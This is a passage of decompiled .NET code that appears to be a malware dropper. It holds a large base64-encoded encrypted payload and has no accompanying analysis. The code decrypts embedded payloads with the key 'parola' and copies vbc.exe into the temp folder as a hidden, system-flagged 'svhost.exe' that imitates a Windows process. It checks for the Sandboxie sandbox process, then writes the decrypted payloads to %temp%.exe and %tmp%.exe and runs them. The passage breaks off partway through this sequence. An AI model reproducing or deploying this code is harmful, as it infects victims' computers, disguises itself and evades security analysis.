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";
|
|
label_24:
|
|
num3 = 28;
|
|
byte[] data1 = pizde.okitokjwe33(Convert.FromBase64String(s2));
|
|
label_25:
|
|
num3 = 29;
|
|
string str2;
|
|
string s3 = str2;
|
|
label_26:
|
|
num3 = 30;
|
|
pizde.decrypt(Convert.FromBase64String(s3), "parola");
|
|
label_27:
|
|
num3 = 31;
|
|
string str3;
|
|
string s4 = str3;
|
|
label_28:
|
|
num3 = 32;
|
|
byte[] data2 = pizde.okitokjwe33(Convert.FromBase64String(s4));
|
|
label_29:
|
|
num3 = 33;
|
|
Encoding.GetEncoding(1252).GetBytes(s1);
|
|
label_30:
|
|
num3 = 34;
|
|
object tempPath2 = (object) Path.GetTempPath();
|
|
label_31:
|
|
num3 = 35;
|
|
Directory.CreateDirectory(Conversions.ToString(Operators.ConcatenateObject(tempPath2, (object) "winamp")));
|
|
label_32:
|
|
num3 = 36;
|
|
Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath2, (object) "\\"), (object) "winamp"), (object) "\\"), (object) "svhost.exe"));
|
|
label_33:
|
|
num3 = 37;
|
|
string sourceFileName = "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe";
|
|
label_34:
|
|
num3 = 38;
|
|
string str4 = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath2, (object) "\\"), (object) "winamp"), (object) "\\"), (object) "svhost.exe"));
|
|
label_35:
|
|
num3 = 39;
|
|
if (File.Exists(str4))
|
|
goto label_37;
|
|
label_36:
|
|
num3 = 40;
|
|
File.Copy(sourceFileName, str4);
|
|
label_37:
|
|
num3 = 42;
|
|
FileAttributes fileAttributes2 = FileAttributes.Hidden | FileAttributes.System;
|
|
label_38:
|
|
num3 = 43;
|
|
File.SetAttributes(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath2, (object) "\\"), (object) "winamp"), (object) "\\"), (object) "svhost.exe")), fileAttributes2);
|
|
label_39:
|
|
num3 = 44;
|
|
pizde.IsProcessRunning4("sandboxierpcss.exe");
|
|
label_40:
|
|
num3 = 46;
|
|
if (pizde.IsProcessRunning2("%temp%.exe"))
|
|
goto label_45;
|
|
label_41:
|
|
num3 = 47;
|
|
if (pizde.IsProcessRunning5("rundll32 .exe"))
|
|
goto label_45;
|
|
label_42:
|
|
num3 = 48;
|
|
string temp1 = MyProject.Computer.FileSystem.SpecialDirectories.Temp;
|
|
label_43:
|
|
num3 = 49;
|
|
MyProject.Computer.FileSystem.WriteAllBytes(temp1 + "\\%temp%.exe", data2, false);
|
|
label_44:
|
|
num3 = 50;
|
|
Process.Start(temp1 + "\\%temp%.exe");
|
|
label_45:
|
|
num3 = 53;
|
|
if (pizde.IsProcessRunning3("%tmp%.exe"))
|
|
goto label_49;
|
|
label_46:
|
|
num3 = 54;
|
|
string temp2 = MyProject.Computer.FileSystem.SpecialDirectories.Temp;
|
|
label_47:
|
|
num3 = 55;
|
|
MyProject.Computer.FileSystem.WriteAllBytes(temp2 + "\\%tmp%.exe", data1, false);
|
|
label_48:
|
|
num3 = 56;
|
|
